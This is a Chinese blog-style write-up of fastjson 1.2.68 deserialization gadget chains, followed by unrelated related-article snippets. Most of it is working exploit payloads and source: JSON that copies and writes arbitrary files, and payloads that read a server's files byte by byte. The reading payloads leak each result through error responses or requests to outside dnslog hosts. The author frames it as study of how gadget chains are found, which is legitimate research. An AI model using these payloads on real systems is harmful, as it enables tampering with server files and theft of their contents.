fastjson1.2.68对于文件操作的分析最全

fastjson1.2.68对于文件操作的分析

    • 前言
    • 分析
    • 复制文件
    • 写入文件
    • 读取文件
      • 分析poc
      • 拓宽场景
      • 极限环境
      • poc优化修改
      • 再次优化poc的分析

前言

这次分析也是分析了很久,因为每个链子都是自己去跟着分析了的,然后主要是去学习了一下怎么去挖链子

分析

前面漏洞复现只是简单地验证绕过方法的可行性,在实际的攻击利用中,是需要我们去寻找实际可行的利用类的。

我们的思路就是寻找实现自AutoCloseable接口(当然也可以是其他的接口,比如上面有的那些),并且可以恶意利用的,这里主要是学习
Mi1k7ea
主要是寻找关于输入输出流的类来写文件,IntputStream和OutputStream都是实现自AutoCloseable接口的。

  1. 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
  2. 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  3. 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法

以上三个组合在一起就能构造成一个写文件的利用链

复制文件

利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream

<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjtools</artifactId>
    <version>1.9.5</version>
</dependency>

主要看到它的构造方法

public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
        this.failed = false;
        this.target = new File(targetPath);
        this.createTempFile(tempPath);
        if (!this.target.exists()) {
            if (!this.temp.exists()) {
                this.output = new BufferedOutputStream(new FileOutputStream(this.target));
                return;
            }
 
            this.copy(this.temp, this.target);
        }
 
        this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
    }

这段 Java 代码定义了一个名为 SafeFileOutputStream 的类的构造函数。该构造函数接受两个参数,targetPath 和 tempPath,这两个参数分别代表目标文件路径和临时文件路径。
此构造函数首先设置 failed 标记为 false,然后根据 targetPath 创建一个 File 对象,用 tempPath 创建一个临时文件.
接下来,如果目标文件不存在,那么它将检查临时文件是否存在。如果临时文件也不存在,它将直接在目标路径开创一个新的文件输出流。否则,如果临时文件确实存在,它将临时文件的内容复制到目标文件中。
如果目标文件已经存在,那么它将在临时文件路径创建一个新的文件输出流。

只需要实例化就能够触发

{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"E:/Coding/flag.txt"}

写入文件

com.esotericsoftware.kryo.io.Output

<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>4.0.0</version>
</dependency>
<dependency>
    <groupId>com.sleepycat</groupId>
    <artifactId>je</artifactId>
    <version>5.0.73</version>
</dependency>

Output类主要用来写内容,它提供了setBuffer()和setOutputStream()两个setter方法可以用来写入输入流,其中buffer参数值是文件内容,outputStream参数值就是前面的SafeFileOutputStream类对象,而要触发写文件操作则需要调用其flush()函数

/** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes.
 * @param outputStream May be null. */
public void setOutputStream (OutputStream outputStream) {
    this.outputStream = outputStream;
    position = 0;
    total = 0;
}
 
...
 
/** Sets the buffer that will be written to. {@link #setBuffer(byte[], int)} is called with the specified buffer's length as the
 * maxBufferSize. */
public void setBuffer (byte[] buffer) {
    setBuffer(buffer, buffer.length);
}
 
...
 
/** Writes the buffered bytes to the underlying OutputStream, if any. */
public void flush () throws KryoException {
    if (outputStream == null) return;
    try {
        outputStream.write(buffer, 0, position);
        outputStream.flush();
    } catch (IOException ex) {
        throw new KryoException(ex);
    }
    total += position;
    position = 0;
}
 
...

可以看到调用关系是需要调用我们的flush()函数就会调用outputStream.write(buffer, 0, position);
write方法写入内容

怎么调用flush()函数只有在close()和require()函数被调用时才会触发,其中require()函数在调用write相关函数时会被触发。

ObjectOutputStream类,其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量,而其setBlockDataMode()函数中调用了drain()函数、drain()函数中又调用了out.write()函数,满足前面的需求:

 BlockDataOutputStream(OutputStream out) {
          this.out = out;
          dout = new DataOutputStream(this);
      }
 
      /**
       * Sets block data mode to the given mode (true == on, false == off)
       * and returns the previous mode value.  If the new mode is the same as
       * the old mode, no action is taken.  If the new mode differs from the
       * old mode, any buffered data is flushed before switching to the new
       * mode.
       */
      boolean setBlockDataMode(boolean mode) throws IOException {
          if (blkmode == mode) {
              return blkmode;
          }
          drain();
          blkmode = mode;
          return !blkmode;
      }
 
...
 
      /**
       * Writes all buffered data from this stream to the underlying stream,
       * but does not flush underlying stream.
       */
      void drain() throws IOException {
          if (pos == 0) {
              return;
          }
          if (blkmode) {
              writeBlockHeader(pos);
          }
          out.write(buf, 0, pos);
          pos = 0;
      }

对于setBlockDataMode()函数的调用,在ObjectOutputStream类的有参构造函数中就存在:

public ObjectOutputStream(OutputStream out) throws IOException {
    verifySubclass();
    bout = new BlockDataOutputStream(out);
    handles = new HandleTable(10, (float) 3.00);
    subs = new ReplaceTable(10, (float) 3.00);
    enableOverride = false;
    writeStreamHeader();
    bout.setBlockDataMode(true);
    if (extendedDebugInfo) {
        debugInfoStack = new DebugTraceInfoStack();
    } else {
        debugInfoStack = null;
    }
}

但是Fastjson优先获取的是ObjectOutputStream类的无参构造函数,因此只能找ObjectOutputStream的继承类来触发了。
只有有参构造函数的ObjectOutputStream继承类:com.sleepycat.bind.serial.SerialOutput

看到,SerialOutput类的构造函数中是调用了父类ObjectOutputStream的有参构造函数,这就满足了前面的条件了:

public SerialOutput(OutputStream out, ClassCatalog classCatalog)
    throws IOException {
 
    super(out);
    this.classCatalog = classCatalog;
 
    /* guarantee that we'll always use the same serialization format */
 
    useProtocolVersion(ObjectStreamConstants.PROTOCOL_VERSION_2);
}
{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "E:/code/hacked.txt",
        "tempPath": "E:/code/test.txt"
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "内容",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

这里写入文件内容其实有限制,有的特殊字符并不能直接写入到目标文件中,比如写不进PHP代码等。
在这里插入图片描述

读取文件

这里参考的是浅蓝师傅的文章

分析poc

首先给出poc,我们根据这个poc来分析一下

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          ...
        ]
      }
    ]
  },
  "address" : {"$ref":"$.abc.BOM"}
}

首先我们一个类一个类的看,有什么作用
org.apache.commons.io.input.BOMInputStream

这里利用的是它的构造函数和getBOM
首先是构造方法

public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms) 

可以看到是可以传入一个InputStream类型的参数delegete和一个ByteOrderMark类型的数组
主要看下面的代码

 public ByteOrderMark getBOM() throws IOException {
        if (this.firstBytes == null) {
            this.fbLength = 0;
            int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length();
            this.firstBytes = new int[maxBomSize];

            for(int i = 0; i < this.firstBytes.length; ++i) {
                this.firstBytes[i] = this.in.read(); // 从 delegate 输入流从取出所有字节,组成一个 int 数组
                ++this.fbLength;
                if (this.firstBytes[i] < 0) {
                    break;
                }
            }

            this.byteOrderMark = this.find(); // 开始把实例化对象时传入的 ByteOrderMark 数组 boms 和从 delegate 输入流从取出所有字节组成的int数组进行比对。
            if (this.byteOrderMark != null && !this.include) {
                if (this.byteOrderMark.length() < this.firstBytes.length) {
                    this.fbIndex = this.byteOrderMark.length();
                } else {
                    this.fbLength = 0;
                }
            }
        }

        return this.byteOrderMark; //返回 byteOrderMark
    }
    private ByteOrderMark find() {
        Iterator var1 = this.boms.iterator();

        ByteOrderMark bom;
        do {
            if (!var1.hasNext()) {
                return null;
            }

            bom = (ByteOrderMark)var1.next();
        } while(!this.matches(bom));

        return bom;
    }
    private boolean matches(ByteOrderMark bom) {
        for(int i = 0; i < bom.length(); ++i) {
            if (bom.get(i) != this.firstBytes[i]) {
                return false;
            }
        }

        return true;
    }

可以看到这里是有一个逻辑的,先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取 成功的标志应该是 getBom 返回结果不为 null。
这也是我们利用的主要思路

然后我们的delegte是什么呢?
ReaderInputStream

public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) {
        this.reader = reader;
        this.encoder = encoder;
        this.encoderIn = CharBuffer.allocate(bufferSize);
        this.encoderIn.flip();
        this.encoderOut = ByteBuffer.allocate(128);
        this.encoderOut.flip();
    }

这是它的构造方法,是一个reader,我们就看那个函数的名字,就是把我们的reader传为in或者out的类型
我们仔细看看方法
allocate(bufferSize)就是限制我们读取char的范围,然后this.encoderIn.flip();就是为确定我们的范围
然后需要传入一个reader看到下一个类URLReader

可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。我们可以指定自己的文件

自己也没有搭环境复现,使用师傅的复现
在这里插入图片描述正常读文件时如果字节码比对正确了(因为要读的文件第一个字母是b,转成int就是98,我在boms传入的bytes第一个就是98,所以比对正确),他是会返回一个 ByteOrderMark 对象的。

因为我这里没有虚拟机,我自己写了一个测试类,但是不是fastjson的格式,只是为了明白一下原理

import org.apache.commons.io.ByteOrderMark;
import org.apache.commons.io.input.BOMInputStream;
import org.apache.commons.io.input.CharSequenceReader;
import org.apache.commons.io.input.ReaderInputStream;

import java.io.*;

public class test {
    public static void main(String[] args) throws IOException {
        File file =new File("文件路径");
        Reader reader =new FileReader(file);
        ReaderInputStream readerInputStream =new ReaderInputStream(reader,"UTF-8");
        ByteOrderMark byteOrderMark =new ByteOrderMark("UTF-8",98);
        BOMInputStream bomInputStream =new BOMInputStream(readerInputStream,byteOrderMark);
        System.out.println(bomInputStream.getBOM());
    }
}

当我1.txt文件内容为a的时候,我们运行返回的是null,当我把文件内容改为b的时候,返回了在这里插入图片描述
所以就可以通过这一点来读取我们的文件内容

拓宽场景

有一个修改用户昵称的功能,使用了 fastjson 解析,取出 nickname 属性更新到数据库。我把 getBom 的值引用到 nickname 属性里。修改成功后如果 返回查看 nickname 是空或者null那就代表字节码比对错误,如果是 ByteOrderMark[…] 那就说名比对成功。
是可以的,但是如有这样一个场景呢?

有一个接口使用了 fastjson 解析 json,获取了某个属性,代码中对这个属性的格式做了严格校验,或者不会调用 json 对象里的任何属性。所以我们无法从这个接口的响应得知 getBom 返回的到底是什么。不过这个接口如果在用 fastjson 解析 JSON 的过程中抛出了异常它就会输出到响应。

这时候我们又该如何操作呢?

按照上面的逻辑,我们是需要根据网页返回的结果来确定我们是否正确的,现在网页返回的是抛出异常,那我们是不是也应该对应着抛出异常

根据作者的想法
只要让传入参数时对象类型不匹配,fastjson 自身就会抛出一个异常,如果是 null 的话就不会抛出异常。

意思就是在我们的getBom方法再套一个类,让他根据返回值不同去抛出异常和不抛出异常,而抛出异常的逻辑也是根据类型匹配,我们匹配成功返回的是一个ByteOrderMark对象

最简单的方法就是

        ByteOrderMark byteOrderMark =new ByteOrderMark("UTF-8",98);
        System.out.println(byteOrderMark.getClass().getName());

输出他的类型,你运行的话可以发现他就是ByteOrderMark类型的,我们找一个类,他能接收null不报错,接收我们的这个类型报错的

我先尝试着找了一下,但是太瓜皮了,找到的是AnrryList和MYclass,但是不行,这里看作者找到的是CharSequenceReader类,我在本地尝试了一下,真的可以,作者太牛了

我还是去找了一下,我在思考可不可以使用我们的方法来判断呢?这里我找到了一个方法

Optional.ofNullable(null);  // 这不会抛出异常

可不可以这样利用呢?,但是突然想起来fastjson只能调用的是get和set方法,用个屁

当然我还是去找了找发现

AtomicReference<String> atomicReference = new AtomicReference<>(null);

也不会报错,所以还是有利用的价值的,所以感觉是可以利用的,但是对于原来作者有一个我没有明白,为什么java.lang.String还要加上呢?

不对,我好像找到了答案,因为我必须传入一个参数,这个参数有个条件,那就是必须是CharSequence类型的,我们去探究一下,

public final class String
    implements java.io.Serializable, Comparable<String>, CharSequence

这个就是我们的原因,不过这个null在传入String就已经报错了,没道理,感觉还是没有作用的,但是自己又不会去实际测试一下,难崩

因为这个要连那个虚拟机来着,不会,不想学,因为这个本身利用价值不大,只是学一下思路

极限环境

有一个接口,用 fastjson 解析了 JSON,但不会反馈任何能够作为状态判断的标识,连异常报错的信息都没有。

这里又用到了fastjson的一个特性

如果fastjson前面的错了,那后面的也不会去执行
所以我们就可以利用这一点,先看原来作者的poc

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///tmp/test"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          98
        ]
      }
    ]
  },
  "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader",
              "charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0},
  "xxx": {
      "@type": "java.lang.AutoCloseable",
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "http://aaaxasd.g2pbiw.dnslog.cn/"
          },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      },
      "boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]
  },
  "zzz":{"$ref":"$.xxx.BOM[0]"}
}


不明白为什么还需要那么长,后面的他探测还是用了前面的重复下来?
其实还是因为我们的urlreader这个类,前面说了他还可以使用http协议,我们就可以进行dnslog探测,所以作者是根据的这个去写poc的
在这里插入图片描述可以看到是成功的解析了的

poc优化修改

其实这里直接换成正常的探测poc就ok的
我们用的是

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///E:/tmp/tyskill.txt"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          48,
        ]
      }
    ]
  },
  "address" : {
	"@type": "java.lang.AutoCloseable",
	"@type":"org.apache.commons.io.input.CharSequenceReader",
	"charSequence": {
		"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"
	},
	"start": 0,
	"end": 0
  },
  "xxx":{{"@type":"java.net.Inet4Address","val":"cnm.awm6.hyuga.icu"}:"xx"}
}

可以看到最后只是加了个探测的poc,我认为这已经是最ok的结果了,但是师傅发现

因为上面的构造是匹配失败也就是没有匹配到就会发出请求,说实话匹配失败的次数是远远大于成功的次数的,所以师傅就换了一个逻辑,就是只匹配成功的时候发送请求,匹配成功返回对象,那我们该怎么修改呢?

再次优化poc的分析

这里我们还得清楚一个点
那就是到底是怎么去访问我们的远程url的啊?也没看见啊,我们找一下和reader有关的地方

经过仔细的调试分析,终于是找到了眉目
给出调用栈就能够大哥明白我们的访问是在哪里触发的了

openConnection:62, Handler (sun.net.www.protocol.http)
openConnection:57, Handler (sun.net.www.protocol.http)
openConnection:972, URL (java.net)
openStream:1038, URL (java.net)
readFully:811, Source (jdk.nashorn.internal.runtime)
getReader:116, URLReader (jdk.nashorn.api.scripting)
read:87, URLReader (jdk.nashorn.api.scripting)
fillBuffer:206, ReaderInputStream (org.apache.commons.io.input)
read:283, ReaderInputStream (org.apache.commons.io.input)
getBOM:213, BOMInputStream (org.apache.commons.io.input)
main:17, test

我们前面需要的是匹配成功才访问,这就需要一个先决的条件,因为我们的匹配和访问url都是发生在我们的getBOM方法中的,我们就要判断谁先发生的,如果是访问url先发生,那我们这样是没有意义的

我们看看poc

{
  "abc":{"@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
	  "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
		"@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///E:/tmp/tyskill.txt"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },"boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [48,]
      }
    ]
  },
  "address": {
	  "@type": "java.lang.AutoCloseable",
	  "@type": "org.apache.commons.io.input.BOMInputStream",
	  "delegate": {
		"@type": "org.apache.commons.io.input.ReaderInputStream",
		"reader": {
		  "@type": "jdk.nashorn.api.scripting.URLReader",
		  "url": "http://aaaxd.bf1p.hyuga.icu/"
		},
		"charsetName": "UTF-8",
		"bufferSize": 1024
	  },
	  "boms": [{"$ref":"$.abc.BOM[0]"}]
  },
  "xxx":{"$ref":"$.address.BOM[0]"}
}

wc,你是不是犹豫了一下,这tm不是和上面差不多吗,你仔细看就会发现,这个poc的改变就对应了我们的分析

你仔细和第一个对比一下,他这个是直接嵌在address里面的,当然除了我们分析的,还有妙的
boms传入“空数组”时不会发生访问行为因为根本就调用不到我们的read方法

如何构造一个“空数组”呢?传入一个null即可,也就是bytes比较不成功的时候,此时逻辑就可以串联起来了,先注入文件内容,比较不成功时返回null,将null通过JSONpath引用到第二部分的BOMInputStream对象boms数组中,这样就可以形成更好用的poc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/629435.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

TypeScript中的泛型(Generics)

TypeScript中的泛型&#xff08;Generics&#xff09; 在前面的几篇文章中&#xff0c;我们了解了TypeScript的类、接口和基本的数据类型系统。本文将重点介绍TypeScript中的泛型&#xff0c;这是一种强大的工具&#xff0c;它允许我们创建可重用的组件&#xff0c;同时保持类…

【Java学习笔记10 Java Web 应用——JSP

JSP(Java Script Pages)技术是一种网站开发技术&#xff0c;可以让Web开发人员快速、高效的开发出易于维护的动态网页。使用JSP技术开发的Web应用程序具有跨平台性&#xff0c;不需要修改程序&#xff0c;发布后即可在Windows、Linux等不同的操作系统中运行。 10.1 JSP技术概述…

申请免费通配符证书

通配符证书是一种 SSL/TLS 证书&#xff0c;可用于保护多个域&#xff08;主机&#xff09;&#xff0c;由域名字段中的通配符 (*) 指示。这种证书主要用于具有许多子域的组织。通配符证书对主域及其所有次级子域有效。 通配符证书和多域名证书的区别&#xff1a; 要注意的是…

webpack优化构建速度示例-合理配置loader的include exclude:

实际上&#xff0c;babel-loader 在 Webpack 配置中默认并不包含 exclude 和 include 选项的默认值&#xff0c;通常&#xff0c;为了优化构建性能&#xff0c;开发者会显式地设置 exclude 和 include 选项&#xff0c;以便 babel-loader 只处理必要的文件。 src/index.js impo…

Zookeeper and RPC dubbo

javaguide zookeeper面试题 Zookeeper 啥是Zookeeper干啥的 ZooKeeper 可以被用作注册中心、分布式锁&#xff1b; ZooKeeper 是 Hadoop 生态系统的一员&#xff1b; 构建 ZooKeeper 集群的时候&#xff0c;使用的服务器最好是奇数台。 启动ZK 下载安装解压 不过多赘述 我的…

Spring:了解@Import注解的三种用法

一、前言 在 Spring 框架中&#xff0c;Import 注解用于导入配置类&#xff0c;使得你可以在一个配置类中引入另一个或多个配置类&#xff0c;从而实现配置的模块化。这对于组织大型应用程序的配置非常有用&#xff0c;因为它允许你将配置分散到多个类中&#xff0c;然后再将它…

RAW转换和图像编辑工具:Capture One 23 Pro (win/mac)中文专业版

Capture One 23是一款功能强大的桌面版照片编辑软件&#xff0c;由丹麦PHASE ONE飞思数码公司开发。 以下是该软件的一些主要特点&#xff1a; 强大的RAW处理功能&#xff1a;Capture One 23支持多种品牌的相机和镜头&#xff0c;提供了丰富的RAW处理工具&#xff0c;包括曝光、…

RALL-E: Robust Codec Language Modeling with Chain-of-Thought Prompting for TTS

demo pageDetai Xin&#xff0c; tanxu微软 & 东大 & 浙大 abstract 使用CoT的思路&#xff0c;和Valle的框架&#xff0c;先实现LLM预测音素级别pitch/duration&#xff0c;然后预测speech token。 methods Prosody tokens as chain-of-thought prompts 和Valle一…

【JavaEE】Servlet

文章目录 一、Servlet 是什么二、如何创建Servlet程序1、创建项目2、引入依赖3、创建目录4、编写代码5、打包程序6、部署程序7、验证程序 一、Servlet 是什么 二、如何创建Servlet程序 1、创建项目 2、引入依赖 Maven 项目创建完后&#xff0c;会自动生成一个 pom.xml 的文…

独家|暴雨推出基于国产X86芯片的四路服务器

伴随着智慧计算时代的到来和企业数字化转型的深入&#xff0c;人工智能、大数据、虚拟化等创新技术在应用普及的过程中&#xff0c;也在不断地细分和深化&#xff0c;使得企业的业务系统日趋复杂&#xff0c;数据量、数据类型更加庞大&#xff0c;对计算平台的性能要求“水涨船…

Google I/O 2024:探索未来AI技术的无限可能

近日&#xff0c;Google I/O 2024大会圆满落幕&#xff0c;带给我们一场关于人工智能的盛宴。在这场大会上&#xff0c;Google推出了一系列令人激动的AI新功能和工具&#xff0c;让我们得以一窥未来的科技发展。今天&#xff0c;就让我来为大家总结一下这些亮点吧&#xff01; …

一键修复所有dll缺失,教大家解决丢失的dll文件

修复所有DLL&#xff08;动态链接库&#xff09;文件缺失的问题通常不可能通过单一的"一键修复"按钮来实现&#xff0c;因为DLL文件缺失可能由各种不同的原因导致&#xff0c;比如应用程序安装不正确、病毒感染、或系统文件损坏等。 使用内置的系统文件检查器&#x…

鸿蒙应用布局ArkUI【基础运用案例】

布局基础运用案例 平级导航的复合网格视图 平级导航的复合网格视图常出现在同时展示多种不同内容的界面。 例如&#xff0c;市场类应用作为典型的平级导航&#xff0c;其首页不同板块采用了不同布局能力。 标题栏与搜索栏&#xff1a;因元素单一、位置固定在顶部&#xff0c…

C++ 中重写重载和隐藏的区别

重写&#xff08;override&#xff09;、重载&#xff08;overload&#xff09;和隐藏&#xff08;overwrite&#xff09;在C中是3个完全不同的概念。我们这里对其进行详细的说明 1、重写&#xff08;override&#xff09;是指派生类覆盖了基类的虚函数&#xff0c;这里的覆盖必…

【JAVA SE】初识JAVA

✨✨欢迎大家来到Celia的博客✨✨ &#x1f389;&#x1f389;创作不易&#xff0c;请点赞关注&#xff0c;多多支持哦&#x1f389;&#x1f389; 所属专栏&#xff1a;JAVA 个人主页&#xff1a;Celias blog~ 目录 ​编辑 一、关于JAVA 1.1 JAVA语言简介 1.2 语言优势 1…

Patch-Wise Graph Contrastive Learning for Image Translation

Patch-Wise Graph Contrastive Learning for Image Translation 图像翻译中的逐块图对比学习 Chanyong Jung1, Gihyun Kwon1, Jong Chul Ye1, 2 Chanyong Jung&#xff0c;Gihyun Kwon&#xff0c;Jong Chul Ye 1, 2 Abstract 摘要 Patch-Wise Graph Cont…

Windows快捷命令

Windows 操作系统提供了大量的快捷命令&#xff0c;用于快速访问系统设置和管理工具。这些命令在各个版本的 Windows 中基本都适用&#xff0c;可以帮助用户快速进入各类管理工具&#xff0c;方便系统的配置和管理。如果你需要使用这些工具&#xff0c;只需按 Win R 键&#x…

win11快速安装mysql数据库系统

win11快速安装mysql数据库系统 1、下载 1.1 打开官网 1.2 向下滚动页面 1.3 进入下载选项 1.4 下载8.0.4 LTS 1.5 开始下载 1.6 下载中 2、解压 大家注意&#xff0c;此时解压后目录是没有data目录的。 3、数据库初始化 3.1 管理员身份打开CMD 开始菜单上&#xff0c;输入…

【漏洞复现】Secnet-智能路由系统弱口令

0x01 产品简介 Secnet安网智能AC管理系统是广州安网通信技术有限公司(简称“安网通信”)的无线AP管理系统 0x02 漏洞描述 攻击者可直接利用弱口令登录系统 0x03 搜索语法 fofa: title"安网-智能路由系统" || title"智能路由系统" || title"安网科…

代码随想录算法训练营第三十一天|455.分发饼干,376. 摆动序列,53. 最大子序和

455.分发饼干 优先把小饼干分给胃口值小的&#xff0c;或者是把大饼干分给胃口大的。 376. 摆动序列 class Solution { public:int wiggleMaxLength(vector<int>& nums) {if (nums.size() < 1) return nums.size();int curDiff 0; // 当前一对差值int preDiff …